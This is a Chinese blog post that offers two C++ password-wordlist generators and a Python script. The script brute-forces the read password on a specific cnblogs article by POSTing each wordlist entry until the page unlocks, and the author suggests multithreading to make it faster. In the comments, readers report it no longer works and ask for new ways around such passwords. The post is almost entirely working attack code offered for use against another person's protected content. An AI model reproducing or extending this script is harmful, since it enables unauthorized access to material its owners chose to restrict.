简直闲得蛋疼

代码自己看我懒得解释

下面提供了俩辣鸡字典生成器,然而我更建议使用专业的字典生成器

C++的密码字典生成器 1(将给定子串组合起来):

#include <bits/stdc++.h>

using namespace std;

string str[20] =
{
    "123",
    "abc",
    ".",
};

int n = 3;

bool mark[20];

void Dfs(int a)
{
    if (a == n)
    {
        string ps;
        for (int i = 0; i < n; i += 1)
            if (mark[i]) ps += str[i];
        if (ps.length()) cout << ps << endl;
        return;
    }
    mark[a] = 0, Dfs(a + 1), mark[a] = 1, Dfs(a + 1);
}

int main(int argc, char const* argv[])
{
    Dfs(0);
    return 0;
}

C++的密码字典生成器 2(超暴力枚举每一项):

#include <bits/stdc++.h>

using namespace std;

int n = 5;

char str[10];

void Dfs(int a)
{
    if (a == n) {puts(str); return;}
    for (int i = 0; i <= 9; i += 1)
        str[a] = i + '0', Dfs(a + 1);
}

int main(int argc, char const* argv[])
{
    Dfs(0);
    return 0;
}

python3 的按照密码字典提交 post 请求检验密码(把代码里的/url/to/archive/page 替换成要你输入密码的那个页面的地址,还有 pswd.txt 是你的密码字典):

from time import sleep
import requests
from requests import post

f = open("pswd.txt")
ps = f.readline()
url='https://www.cnblogs.com/post/readauth?url=/cjyyb/p/9892336.html'
url = url.replace("/post/readauth?url=", "")

while ps:
    ps = ps.replace("\n", "")
    print(ps)
    try:
        rs=post(url,data={'tb_password':ps},allow_redirects=1)
        if rs.url == url:
            print("Got it: " + ps)
            break
    except:
        sleep(1)
        pass
    ps = f.readline()

f.close() 

效率极其低下,建议多线程

分类: 文章

XZYQvQ

炒鸡辣鸡的制杖蒟蒻一枚QvQ

3 条评论

暖阳 · 2022年12月3日 5:30 下午

这个暴力破解的用不了啊,跑了第一行代码就结束了

    XZYQvQ · 2022年12月3日 6:46 下午

    文章写于 4 年前,现在用不了很可能是因为博客园有改变。

      暖阳 · 2022年12月3日 6:51 下午

      也是哈,有没有新的办法呢?最近遇到博客园阅读密码好烦。

发表回复

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用 * 标注